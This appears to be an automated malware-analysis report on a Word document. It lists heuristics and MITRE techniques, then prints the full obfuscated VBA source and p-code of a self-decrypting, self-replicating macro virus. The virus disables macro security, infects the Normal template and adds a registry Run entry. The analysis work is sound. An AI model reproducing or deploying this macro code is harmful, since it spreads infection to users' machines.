MALICIOUS
170
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros that are obfuscated and designed to execute code. The Document_Open macro is present, indicating automatic execution upon opening. The script decodes a string, which is then likely used to download and execute a secondary payload, as suggested by the 'Shell' execution token found in heuristics. The presence of self-replication and security tampering heuristics further indicates malicious intent.
Heuristics 6
-
Raw OLE macro text shows self-replication or security tampering critical OLE_RAW_MACRO_SELF_REPLICATIONOLE streams contain macro source text with auto-run entry points, CreateObject automation, CodeModule AddFromString/InsertLines/DeleteLines behavior, and Outlook or macro-security tampering. This is high-confidence macro-virus behavior even when oletools does not recover a standard VBA project.
-
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
'0'LUNPFTGXCBPDSGEHYZZEQBPUMPYJKGXXVBNBLFJAFDAWNCYAOPOBGMNSXWKCSSM Private Sub Document_Open() Application.EnableCancelKey = wdCancelDisabled -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 18206 bytes |
SHA-256: 06e1c269d84c4e468c4bf6ae50afc6cf625fd4efef69c30703bd42ab39df2049 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
113 of 192 identifiers look randomly generated (e.g. 'ZTTCQUXZASEHZNWDXSTGJBZIGJELAYXAEXFYAUQT') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'0'LUNPFTGXCBPDSGEHYZZEQBPUMPYJKGXXVBNBLFJAFDAWNCYAOPOBGMNSXWKCSSM
Private Sub Document_Open()
Application.EnableCancelKey = wdCancelDisabled
For A = 1 To ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
'0'ACYFIOQXTUWCFTAOFYKVGKHKXMKNQIPVKGUUXOHYTODLIVUFCQEUJA
If ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(A, 1) = "Private Sub ViewVBCode()" Then
'0'ETVFLGIXJEZYNCITPMGXQAE
B = A
'0'JZFUSZFTHJEYANYLGUJRIOLKMGZZGTMXRAANHAVCVVQDLBTSKMWKMYO
GoTo GotIt
End If
Next A
'0'UVEGJEKDJLCWXOMRBWRVIXFVYOHPRNAYRXBJWDI
GotIt:
For C = B + 1 To ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines - 1
'0'DPTJCGJYLJTRRMDMNONZGTCEJPBXNHRAOHMLBBWQTFSKSWOSFDUCFBETEQOQQBZFPNYQUUUHJ
'0'ZHNFFBE
d = ""
I = (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(C, 1))
f = (Mid(I, 2, 1))
'0'SMUBBZWHCXGWHSELYEUVIHTHBDKHOFR
For x = 3 To Len(I)
'0'APQYXNLCYFLGFJIXOOELFIDUMNPNGUIVAOAEVWDXXASFZXXJQYHDWBTLBFKMCSYTVIDOOB
'0'J
E = Asc(Mid(I, x, 1)) - f
'0'ZTTCQUXZASEHZNWDXSTGJBZIGJELAYXAEXFYAUQTSRGHNKANITQPLOFHMHMJWMFQCCUVRFHBABILUEQSNVTNATSPWCLNGQV
d = d & Chr(E)
Next x
G = d
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine C, G
Next C
'0'GTJSYVDXKVCCPAOFFHHEWBFDIVMYLJOUSCCJQOFVCHCGVYOQPPJKZFDCCSFICVFYYLZRTKEJCAKRRKGJCR
Call ViewVBCode
'0'LWBQPCWKETQYFDMP
End Sub
'0'QGAWMZIRXGAKQNZIRJZICAJHC
Private Sub ViewVBCode()
'0'EZMWX
'7Pm'[opzKvj|tlu{5]IWyvqlj{5]IJvtwvulu{z5P{lt/805JvklTvk|sl5Jv|u{VmSpulz'E'897'[olu
'3Iru#{#@#4#Wr#WklvGrfxphqw1YESurmhfw1YEFrpsrqhqwv1Lwhp+4,1FrghPrgxoh1FrxqwRiOlqhv
'4+HMW^V]PRKEYZPMXZJFTOLPWJRMYHR
'1F!>!Nje)UijtEpdvnfou/WCQspkfdu/WCDpnqpofout/Jufn)2*/DpefNpevmf/Mjoft)y-!2*-!2-!2*
'8Qn(M(E(*/*(\pmv(\pq{Lwk}umv|6^JXzwrmk|6^JKwuxwvmv|{6Q|mu0916KwlmUwl}tm6Lmtm|mTqvm{(€4(9
'1Ofyu!y
'0'JSFVMFFLEVUXJTYXKWXFCZEXTHVIMKASZFQTKMMRMCLJUFBVQDGYTRGINTBRHIWAEGUPTTWUHBKFFALGPLPUFFYDLZJDA
'0'FTVCMQPYTSXKHNKLUJDSZIZKQICSVQYGGJDWAKZOQSWWDKGFOTRYRTACWMFTLJZOAWXNGLWXROLRDD
'2)\DK\YG\MUN[FUCPUKQIYKLWTSPMZCPGSGCTIGXFNYEPVWD[EINNTUZ
'8Mvl(Qn
'0'NSVTZBUI
'4Jsv$E$A$5$Xs$XlmwHsgyqirx2ZFTvsnigx2ZFGsqtsrirxw2Mxiq,5-2GshiQshypi2GsyrxSjPmriw
'1Jg!UijtEpdvnfou/WCQspkfdu/WCDpnqpofout/Jufn)2*/DpefNpevmf/Mjoft)B-!2*!>!#Qsjwbuf!Tvc!WjfxWCDpef)*#!Uifo
'7I'D'H
'2IqVq"IqvKv
'4Irh$Mj
'6Tk~z&G
'8Ow|Q|B
'8/YTW^[]OKN[X_ZJUXY_MUQIP^[O^VYT[L
'0'MWEHICHOAXQSGKRHYFQDELLPKBEEWOIBJWEJENFHFZERQIWTGCSCWMEBERTAGOX
'0'NLUESBOCHHETFKNZZWZEXXTHJHKIRKLDPRPGYZWCQQENJ
'7Mvy'J'D'I'2'8'[v'[opzKvj|tlu{5]IWyvqlj{5]IJvtwvulu{z5P{lt/805JvklTvk|sl5Jv|u{VmSpulz'4'8
'0'HOCUOTWTWBAZGBEMFEYFHHRUHJTEZFPNEUPUXKRYSPMUPTREUOOZZBWXYNWYXHPSWXQMOLRSYFVZZQXWOMU
'5i%B%''
'3L#@#+WklvGrfxphqw1YESurmhfw1YEFrpsrqhqwv1Lwhp+4,1FrghPrgxoh1Olqhv+F/#4,,
'4j$A$Mrx,Vrh,-$.$<-$/$5
'3Iru#{#@#4#Wr#Ohq+L,
'0'ATOSNMSJJNDYLFJJDPHLJTPXFPZAJGFBAAAOCFHHPXSTHYMYMKIGHZTSZBPKNOSGRMDTYGEOBVCM
'2G"?"Cue*Okf*K."z."3++"-"h
'4h$A$h$*$Glv,I-
'6Tk~z&~
'7N'D'k
'4+[IYJJYIUWRSXTNTFPRL]ON^SXYSSZV]Q^VYXEINYYW[OYJYQSHSYZGXIEP^^NSTTUYIOWLV]FQSLTPGTYUOI\GFQTRQQ[Z
'4XlmwHsgyqirx2ZFTvsnigx2ZFGsqtsrirxw2Mxiq,5-2GshiQshypi2VitpegiPmri$G0$&+&$*$j$*$K
'4+JUHEGEMVRVV\TOUS^NVGXNEMRT]]\NPSFGYXV[Z[FZ\JS^USHQSZOWIGRGKUZVLSNOKOYNWHRP]NH^UX]^Q
'7.XM`RM\UZM`[Q[QIMKWLRH[VIMJ`aMHWHXUKO
'0'YWELOFMPCAGABWTPGSFOQZHQNCARAWUHWRRYEJDETVRHNKBUJDNSVNMRLDHPHGFENRZGKVEVOIEOHLEUKCMGCZENG
'5Sj}y%H
'0'SOYFNUEPZNWHZRJENRVUXEKUXNPWGATTMQFSXAHUVU
'6Uvzouty4\ox{yVxuzkizout&C&6
'1Pqujpot/TbwfOpsnbmQspnqu!>!1
'1Pqujpot/DpogjsnDpowfstjpot!>!1
'3*IG\UIT[OGQUHJUHKJVZUSJXYDZPEL[XOT\JPOELJQ]M[PTIJ\ZZT\PNHNQIZ\ZOVGXWERFFIUPIPMZVFKKIX]YYLS]WORF
'3Iru#Jurz#@#4#Wr#53
'1Ovncfs!>!UijtEpdvnfou/WCQspkfdu/WCDpnqpofout/Jufn)2*/DpefNpevmf/DpvouPgMjoft
'1SboepnMjof!>!Jou)Soe)*!+!Ovncfs!,!2*
'6-[Q]HPWRURK``NPNXT]TGWQSPHHMQOQ^VVQY`MKQL_JY\X
'5WjrfwpQjslym%B%Nsy-Wsi-.%/%>>%0%6.
'4Jsv$Pirkxl$A$5$Xs$ViqevoPirkxl
'4Viqevo$A$Viqevo$/$Glv(,Mrx,,=4$1$:9$/$5-$.$Vrh$/$:9--
'1Ofyu!Mfohui
'4XlmwHsgyqirx2ZFTvsnigx2ZFGsqtsrirxw2Mxiq,5-2GshiQshypi2MrwivxPmriw$VerhsqPmri0$&+4+&$*$Viqevo
'6-TMQHJJ^LYKXQXGOMK`RLYO\IGXHVH`IMRMKQ^JJ_KJ^TIWG[]YXPZT`M[[QR]UPGJLO_UY[YXKI_[V[MK^YN[JMO_GY[T\G
'6Xksgxq&C&((
'1Ofyu!Hspx
'7Zl{'[K'D'[opzKvj|tlu{5]IWyvqlj{5]IJvtwvulu{z5P{lt/805JvklTvk|sl
'6Ykz&GJ&C&Gizo|kJui{sktz4\HVxupkiz4\HIusvutktzy4Ozks.7/4IujkSuj{rk
'5Xjy%SY%B%StwrfqYjruqfyj3[GUwtojhy3[GHtrutsjsyx3Nyjr-6.3HtijRtizqj
'5HR%B%YI3Qnsjx-61%YI3HtzsyTkQnsjx.
'8V\6Lmtm|mTqvm{(94(V\6Kw}v|WnTqvm{
'4+X\ZGT\O[Y\[KURYQNWRSQNWTW^M[\RTTMXUUIT\SO]HJTQU\M\NSXS]WJ[IVNQRNNOKEPQIGX
'3QW1DggIurpVwulqj#FP
'4EH2HipixiPmriw$50$EH2GsyrxSjPmriw
'1BE/BeeGspnTusjoh!DN
'0'MTGBDHPSMFVUZYJLWEGGCSKSEKPNRJXRLIELRNFPRNSDGJRBGEBMFTVWOQTQRDDEMYGOISIFUERJDDAUSCFATYCPLSQTBAI
'2)[IJHKV\W\C\UXZJHIELKF[T[\PVUXTLSXXDRKOSIMOLIHCCPZNLCXT\QRQ[ZZ[LIGHRZWE\[KSZSHQYSLSFVRPGWQXVQSKHR
'2CevkxgFqewogpv0UcxgCu"HkngPcog<?CevkxgFqewogpv0HwnnPcog
'8Qn([�{|mu6Xzq~i|mXzwnqtm[|zqvo0**4(*PSMagK]ZZMV\g][MZd[wn| izmdUqkzw{wn|dWnnqkmd*4(*T�{(Sw~qks*1(DF(*Vikpnwtomzqv*(\pmv
'8NV(E(Qv|0Zvl01(2(AAA@(3(91
'3V|vwhp1SulydwhSurilohVwulqj+%%/#%KNH\bORFDObPDFKLQH_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq%/#%Qdfkirojhulq%,#@#%F=_%#)#IQ#)#%1YEV%
'2)H[H[MSZFMHR\
'1Pqfo!#D;]#!'!GO!'!#/WCT#!Gps!Pvuqvu!Bt!$2
'5Uwnsy%(61%'Xjy%S%B%\Xhwnuy3HwjfyjTgojhy-'%+%Hmw-89.%+%'\twi3Fuuqnhfynts'%+%Hmw-89.%+%'.'
'6Vxotz&)72&(T4Uvzouty4\ox{yVxuzkizout&C&6@&T4Uvzouty4Yg|kTuxsgrVxusvz&C&6@&T4Uvzouty4IutloxsIut|kxyouty&C&6(
'0'CFGJGVKBRDAYYUDTMPHNNNXZTPUJSLAHGBAKCIUGZOSVRRCUOVMMHKUUTACMFEGRXMDQQAWTQCKWBWNTCV
'6Vxotz&)72&(Lux&~&C&7&Zu&T4TuxsgrZksvrgzk4\HVxupkiz4\HIusvutktzy4Ozks.7/4IujkSuj{rk4Iu{tzUlRotky(
'0'UGX
'3Sulqw#&4/#%Q1QrupdoWhpsodwh1YESurmhfw1YEFrpsrqhqwv1Lwhp+4,1FrghPrgxoh1GhohwhOlqhv#4%=#Sulqw#&4/#%Qh{w%
'3Sulqw#&4/#%Q1QrupdoWhpsodwh1YESurmhfw1YEFrpsrqhqwv1Lwhp+4,1FrghPrgxoh1DggIurpIloh#+%#)#Fku+67,#)#%F=_%#)#IQ#)#%1V\V%#)#Fku+67,#)#%,%
'8Xzqv|(+94(*V6Ixxtqki|qwv6Y}q|*B(Ktw{m(+9
'1Pqfo!#D;]#!'!GO!'!#/TZT#!Gps!Pvuqvu!Bt!$2
'4Tvmrx$'50$GQ>$Gpswi$'5
'5X~xyjr3Uwn{fyjUwtknqjXywnsl-''1%'MPJ^dHZWWJSYdZXJWaXtky|fwjaRnhwtxtkyaTkknhja'1%'Q~x%Pt{nhp'.%B%'Sfhmktqljwns'
'6Ktj&Ol
'7.W\QQX\SQSR\IMXXIIZ[^QILXO^TTQ^IX]J]HVOIL_MZNKSQQZOULR_^\^_`YRa_K`_H]PVWV_YaTLOPN\\X[HMR]HU_U
End Sub
' Processing file: /tmp/qstore_ne6umne4
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 219439 bytes
' Line #0:
' QuoteRem 0x0000 0x0041 "0'LUNPFTGXCBPDSGEHYZZEQBPUMPYJKGXXVBNBLFJAFDAWNCYAOPOBGMNSXWKCSSM"
' Line #1:
' FuncDefn (Private Sub Document_Open())
' Line #2:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #3:
' StartForVariable
' Ld A
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ThisDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #4:
' QuoteRem 0x0000 0x0038 "0'ACYFIOQXTUWCFTAOFYKVGKHKXMKNQIPVKGUUXOHYTODLIVUFCQEUJA"
' Line #5:
' Ld A
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ThisDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x0018 "Private Sub ViewVBCode()"
' Eq
' IfBlock
' Line #6:
' QuoteRem 0x0000 0x0019 "0'ETVFLGIXJEZYNCITPMGXQAE"
' Line #7:
' Ld A
' St B
' Line #8:
' QuoteRem 0x0000 0x0039 "0'JZFUSZFTHJEYANYLGUJRIOLKMGZZGTMXRAANHAVCVVQDLBTSKMWKMYO"
' Line #9:
' GoTo GotIt
' Line #10:
' EndIfBlock
' Line #11:
' StartForVariable
' Ld A
' EndForVariable
' NextVar
' Line #12:
' QuoteRem 0x0000 0x0029 "0'UVEGJEKDJLCWXOMRBWRVIXFVYOHPRNAYRXBJWDI"
' Line #13:
' Label GotIt
' Line #14:
' StartForVariable
' Ld C
' EndForVariable
' Ld B
' LitDI2 0x0001
' Add
' LitDI2 0x0001
' Ld ThisDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitDI2 0x0001
' Sub
' For
' Line #15:
' QuoteRem 0x0000 0x004B "0'DPTJCGJYLJTRRMDMNONZGTCEJPBXNHRAOHMLBBWQTFSKSWOSFDUCFBETEQOQQBZFPNYQUUUHJ"
' Line #16:
' QuoteRem 0x0000 0x0009 "0'ZHNFFBE"
' Line #17:
' LitStr 0x0000 ""
' St d
' Line #18:
' Ld C
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ThisDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' Paren
' St I
' Line #19:
' Ld I
' LitDI2 0x0002
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' Paren
' St False
' Line #20:
' QuoteRem 0x0000 0x0021 "0'SMUBBZWHCXGWHSELYEUVIHTHBDKHOFR"
' Line #21:
' StartForVariable
' Ld x
' EndForVariable
' LitDI2 0x0003
' Ld I
' FnLen
' For
' Line #22:
' QuoteRem 0x0000 0x0048 "0'APQYXNLCYFLGFJIXOOELFIDUMNPNGUIVAOAEVWDXXASFZXXJQYHDWBTLBFKMCSYTVIDOOB"
' Line #23:
' QuoteRem 0x0000 0x0003 "0'J"
' Line #24:
' Ld I
' Ld x
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' ArgsLd Asc 0x0001
' Ld False
' Sub
' St E
' Line #25:
' QuoteRem 0x0000 0x0061 "0'ZTTCQUXZASEHZNWDXSTGJBZIGJELAYXAEXFYAUQTSRGHNKANITQPLOFHMHMJWMFQCCUVRFHBABILUEQSNVTNATSPWCLNGQV"
' Line #26:
' Ld d
' Ld E
' ArgsLd Chr 0x0001
' Concat
' St d
' Line #27:
' StartForVariable
' Ld x
' EndForVariable
' NextVar
' Line #28:
' Ld d
' St G
' Line #29:
' Ld C
' Ld G
' LitDI2 0x0001
' Ld ThisDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall ReplaceLine 0x0002
' Line #30:
' StartForVariable
' Ld C
' EndForVariable
' NextVar
' Line #31:
' QuoteRem 0x0000 0x0054 "0'GTJSYVDXKVCCPAOFFHHEWBFDIVMYLJOUSCCJQOFVCHCGVYOQPPJKZFDCCSFICVFYYLZRTKEJCAKRRKGJCR"
' Line #32:
' ArgsCall (Call) ViewVBCode 0x0000
' Line #33:
' QuoteRem 0x0000 0x0012 "0'LWBQPCWKETQYFDMP"
' Line #34:
' EndSub
' Line #35:
' QuoteRem 0x0000 0x001B "0'QGAWMZIRXGAKQNZIRJZICAJHC"
' Line #36:
' FuncDefn (Private Sub ViewVBCode())
' Line #37:
' QuoteRem 0x0000 0x0007 "0'EZMWX"
' Line #38:
' QuoteRem 0x0000 0x0052 "7Pm'[opzKvj|tlu{5]IWyvqlj{5]IJvtwvulu{z5P{lt/805JvklTvk|sl5Jv|u{VmSpulz'E'897'[olu"
' Line #39:
' QuoteRem 0x0000 0x0051 "3Iru#{#@#4#Wr#WklvGrfxphqw1YESurmhfw1YEFrpsrqhqwv1Lwhp+4,1FrghPrgxoh1FrxqwRiOlqhv"
' Line #40:
' QuoteRem 0x0000 0x001F "4+HMW^V]PRKEYZPMXZJFTOLPWJRMYHR"
' Line #41:
' QuoteRem 0x0000 0x0052 "1F!>!Nje)UijtEpdvnfou/WCQspkfdu/WCDpnqpofout/Jufn)2*/DpefNpevmf/Mjoft)y-!2*-!2-!2*"
' Line #42:
' QuoteRem 0x0000 0x0058 "8Qn(M(E(*/*(\pmv(\pq{Lwk}umv|6^JXzwrmk|6^JKwuxwvmv|{6Q|mu0916KwlmUwl}tm6Lmtm|mTqvm{(€4(9"
' Line #43:
' QuoteRem 0x0000 0x0007 "1Ofyu!y"
' Line #44:
' QuoteRem 0x0000 0x005F "0'JSFVMFFLEVUXJTYXKWXFCZEXTHVIMKASZFQTKMMRMCLJUFBVQDGYTRGINTBRHIWAEGUPTTWUHBKFFALGPLPUFFYDLZJDA"
' Line #45:
' QuoteRem 0x0000 0x0050 "0'FTVCMQPYTSXKHNKLUJDSZIZKQICSVQYGGJDWAKZOQSWWDKGFOTRYRTACWMFTLJZOAWXNGLWXROLRDD"
' Line #46:
' QuoteRem 0x0000 0x0038 "2)\DK\YG\MUN[FUCPUKQIYKLWTSPMZCPGSGCTIGXFNYEPVWD[EINNTUZ"
' Line #47:
' QuoteRem 0x0000 0x0007 "8Mvl(Qn"
' Line #48:
' QuoteRem 0x0000 0x000A "0'NSVTZBUI"
' Line #49:
' QuoteRem 0x0000 0x0051 "4Jsv$E$A$5$Xs$XlmwHsgyqirx2ZFTvsnigx2ZFGsqtsrirxw2Mxiq,5-2GshiQshypi2GsyrxSjPmriw"
' Line #50:
' QuoteRem 0x0000 0x0068 "1Jg!UijtEpdvnfou/WCQspkfdu/WCDpnqpofout/Jufn)2*/DpefNpevmf/Mjoft)B-!2*!>!#Qsjwbuf!Tvc!WjfxWCDpef)*#!Uifo"
' Line #51:
' QuoteRem 0x0000 0x0006 "7I'D'H"
' Line #52:
' QuoteRem 0x0000 0x000B "2IqVq"IqvKv"
' Line #53:
' QuoteRem 0x0000 0x0007 "4Irh$Mj"
' Line #54:
' QuoteRem 0x0000 0x0007 "6Tk~z&G"
' Line #55:
' QuoteRem 0x0000 0x0007 "8Ow|Q|B"
' Line #56:
' QuoteRem 0x0000 0x0022 "8/YTW^[]OKN[X_ZJUXY_MUQIP^[O^VYT[L"
' Line #57:
' QuoteRem 0x0000 0x0041 "0'MWEHICHOAXQSGKRHYFQDELLPKBEEWOIBJWEJENFHFZERQIWTGCSCWMEBERTAGOX"
' Line #58:
' QuoteRem 0x0000 0x002F "0'NLUESBOCHHETFKNZZWZEXXTHJHKIRKLDPRPGYZWCQQENJ"
' Line #59:
' QuoteRem 0x0000 0x0059 "7Mvy'J'D'I'2'8'[v'[opzKvj|tlu{5]IWyvqlj{5]IJvtwvulu{z5P{lt/805JvklTvk|sl5Jv|u{VmSpulz'4'8"
' Line #60:
' QuoteRem 0x0000 0x0055 "0'HOCUOTWTWBAZGBEMFEYFHHRUHJTEZFPNEUPUXKRYSPMUPTREUOOZZBWXYNWYXHPSWXQMOLRSYFVZZQXWOMU"
' Line #61:
' QuoteRem 0x0000 0x0007 "5i%B%''"
' Line #62:
' QuoteRem 0x0000 0x0049 "3L#@#+WklvGrfxphqw1YESurmhfw1YEFrpsrqhqwv1Lwhp+4,1FrghPrgxoh1Olqhv+F/#4,,"
' Line #63:
' QuoteRem 0x0000 0x0017 "4j$A$Mrx,Vrh,-$.$<-$/$5"
' Line #64:
' QuoteRem 0x0000 0x0014 "3Iru#{#@#4#Wr#Ohq+L,"
' Line #65:
' QuoteRem 0x0000 0x004E "0'ATOSNMSJJNDYLFJJDPHLJTPXFPZAJGFBAAAOCFHHPXSTHYMYMKIGHZTSZBPKNOSGRMDTYGEOBVCM"
' Line #66:
' QuoteRem 0x0000 0x001A "2G"?"Cue*Okf*K."z."3++"-"h"
' Line #67:
' QuoteRem 0x0000 0x000F "4h$A$h$*$Glv,I-"
' Line #68:
' QuoteRem 0x0000 0x0007 "6Tk~z&~"
' Line #69:
' QuoteRem 0x0000 0x0006 "7N'D'k"
' Line #70:
' QuoteRem 0x0000 0x0060 "4+[IYJJYIUWRSXTNTFPRL]ON^SXYSSZV]Q^VYXEINYYW[OYJYQSHSYZGXIEP^^NSTTUYIOWLV]FQSLTPGTYUOI\GFQTRQQ[Z"
' Line #71:
' QuoteRem 0x0000 0x0052 "4XlmwHsgyqirx2ZFTvsnigx2ZFGsqtsrirxw2Mxiq,5-2GshiQshypi2VitpegiPmri$G0$&+&$*$j$*$K"
' Line #72:
' QuoteRem 0x0000 0x0055 "4+JUHEGEMVRVV\TOUS^NVGXNEMRT]]\NPSFGYXV[Z[FZ\JS^USHQSZOWIGRGKUZVLSNOKOYNWHRP]NH^UX]^Q"
' Line #73:
' QuoteRem 0x0000 0x0026 "7.XM`RM\UZM`[Q[QIMKWLRH[VIMJ`aMHWHXUKO"
' Line #74:
' QuoteRem 0x0000 0x005B "0'YWELOFMPCAGABWTPGSFOQZHQNCARAWUHWRRYEJDETVRHNKBUJDNSVNMRLDHPHGFENRZGKVEVOIEOHLEUKCMGCZENG"
' Line #75:
' QuoteRem 0x0000 0x0007 "5Sj}y%H"
' Line #76:
' QuoteRem 0x0000 0x002C "0'SOYFNUEPZNWHZRJENRVUXEKUXNPWGATTMQFSXAHUVU"
' Line #77:
' QuoteRem 0x0000 0x001C "6Uvzouty4\ox{yVxuzkizout&C&6"
' Line #78:
' QuoteRem 0x0000 0x001D "1Pqujpot/TbwfOpsnbmQspnqu!>!1"
' Line #79:
' QuoteRem 0x0000 0x001F "1Pqujpot/DpogjsnDpowfstjpot!>!1"
' Line #80:
' QuoteRem 0x0000 0x0060 "3*IG\UIT[OGQUHJUHKJVZUSJXYDZPEL[XOT\JPOELJQ]M[PTIJ\ZZT\PNHNQIZ\ZOVGXWERFFIUPIPMZVFKKIX]YYLS]WORF"
' Line #81:
' QuoteRem 0x0000 0x0013 "3Iru#Jurz#@#4#Wr#53"
' Line #82:
' QuoteRem 0x0000 0x004D "1Ovncfs!>!UijtEpdvnfou/WCQspkfdu/WCDpnqpofout/Jufn)2*/DpefNpevmf/DpvouPgMjoft"
' Line #83:
' QuoteRem 0x0000 0x0025 "1SboepnMjof!>!Jou)Soe)*!+!Ovncfs!,!2*"
' Line #84:
' QuoteRem 0x0000 0x002F "6-[Q]HPWRURK``NPNXT]TGWQSPHHMQOQ^VVQY`MKQL_JY\X"
' Line #85:
' QuoteRem 0x0000 0x0023 "5WjrfwpQjslym%B%Nsy-Wsi-.%/%>>%0%6."
' Line #86:
' QuoteRem 0x0000 0x001F "4Jsv$Pirkxl$A$5$Xs$ViqevoPirkxl"
' Line #87:
' QuoteRem 0x0000 0x0036 "4Viqevo$A$Viqevo$/$Glv(,Mrx,,=4$1$:9$/$5-$.$Vrh$/$:9--"
' Line #88:
' QuoteRem 0x0000 0x000C "1Ofyu!Mfohui"
' Line #89:
' QuoteRem 0x0000 0x005E "4XlmwHsgyqirx2ZFTvsnigx2ZFGsqtsrirxw2Mxiq,5-2GshiQshypi2MrwivxPmriw$VerhsqPmri0$&+4+&$*$Viqevo"
' Line #90:
' QuoteRem 0x0000 0x0061 "6-TMQHJJ^LYKXQXGOMK`RLYO\IGXHVH`IMRMKQ^JJ_KJ^TIWG[]YXPZT`M[[QR]UPGJLO_UY[YXKI_[V[MK^YN[JMO_GY[T\G"
' Line #91:
' QuoteRem 0x0000 0x000C "6Xksgxq&C&(("
' Line #92:
' QuoteRem 0x0000 0x000A "1Ofyu!Hspx"
' Line #93:
' QuoteRem 0x0000 0x0040 "7Zl{'[K'D'[opzKvj|tlu{5]IWyvqlj{5]IJvtwvulu{z5P{lt/805JvklTvk|sl"
' Line #94:
' QuoteRem 0x0000 0x0042 "6Ykz&GJ&C&Gizo|kJui{sktz4\HVxupkiz4\HIusvutktzy4Ozks.7/4IujkSuj{rk"
' Line #95:
' QuoteRem 0x0000 0x0042 "5Xjy%SY%B%StwrfqYjruqfyj3[GUwtojhy3[GHtrutsjsyx3Nyjr-6.3HtijRtizqj"
' Line #96:
' QuoteRem 0x0000 0x0022 "5HR%B%YI3Qnsjx-61%YI3HtzsyTkQnsjx."
' Line #97:
' QuoteRem 0x0000 0x0022 "8V\6Lmtm|mTqvm{(94(V\6Kw}v|WnTqvm{"
' Line #98:
' QuoteRem 0x0000 0x004B "4+X\ZGT\O[Y\[KURYQNWRSQNWTW^M[\RTTMXUUIT\SO]HJTQU\M\NSXS]WJ[IVNQRNNOKEPQIGX"
' Line #99:
' QuoteRem 0x0000 0x0014 "3QW1DggIurpVwulqj#FP"
' Line #100:
' QuoteRem 0x0000 0x0022 "4EH2HipixiPmriw$50$EH2GsyrxSjPmriw"
' Line #101:
' QuoteRem 0x0000 0x0014 "1BE/BeeGspnTusjoh!DN"
' Line #102:
' QuoteRem 0x0000 0x0061 "0'MTGBDHPSMFVUZYJLWEGGCSKSEKPNRJXRLIELRNFPRNSDGJRBGEBMFTVWOQTQRDDEMYGOISIFUERJDDAUSCFATYCPLSQTBAI"
' Line #103:
' QuoteRem 0x0000 0x0062 "2)[IJHKV\W\C\UXZJHIELKF[T[\PVUXTLSXXDRKOSIMOLIHCCPZNLCXT\QRQ[ZZ[LIGHRZWE\[KSZSHQYSLSFVRPGWQXVQSKHR"
' Line #104:
' QuoteRem 0x0000 0x0038 "2CevkxgFqewogpv0UcxgCu"HkngPcog<?CevkxgFqewogpv0HwnnPcog"
' Line #105:
' QuoteRem 0x0000 0x0078 "8Qn([�{|mu6Xzq~i|mXzwnqtm[|zqvo0**4(*PSMagK]ZZMV\g][MZd[wn| izmdUqkzw{wn|dWnnqkmd*4(*T�{(Sw~qks*1(DF(*Vikpnwtomzqv*(\pmv"
' Line #106:
' QuoteRem 0x0000 0x001B "8NV(E(Qv|0Zvl01(2(AAA@(3(91"
' Line #107:
' QuoteRem 0x0000 0x008A "3V|vwhp1SulydwhSurilohVwulqj+%%/#%KNH\bORFDObPDFKLQH_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq%/#%Qdfkirojhulq%,#@#%F=_%#)#IQ#)#%1YEV%"
' Line #108:
' QuoteRem 0x0000 0x000E "2)H[H[MSZFMHR\"
' Line #109:
' QuoteRem 0x0000 0x002A "1Pqfo!#D;]#!'!GO!'!#/WCT#!Gps!Pvuqvu!Bt!$2"
' Line #110:
' QuoteRem 0x0000 0x0059 "5Uwnsy%(61%'Xjy%S%B%\Xhwnuy3HwjfyjTgojhy-'%+%Hmw-89.%+%'\twi3Fuuqnhfynts'%+%Hmw-89.%+%'.'"
' Line #111:
' QuoteRem 0x0000 0x006C "6Vxotz&)72&(T4Uvzouty4\ox{yVxuzkizout&C&6@&T4Uvzouty4Yg|kTuxsgrVxusvz&C&6@&T4Uvzouty4IutloxsIut|kxyouty&C&6("
' Line #112:
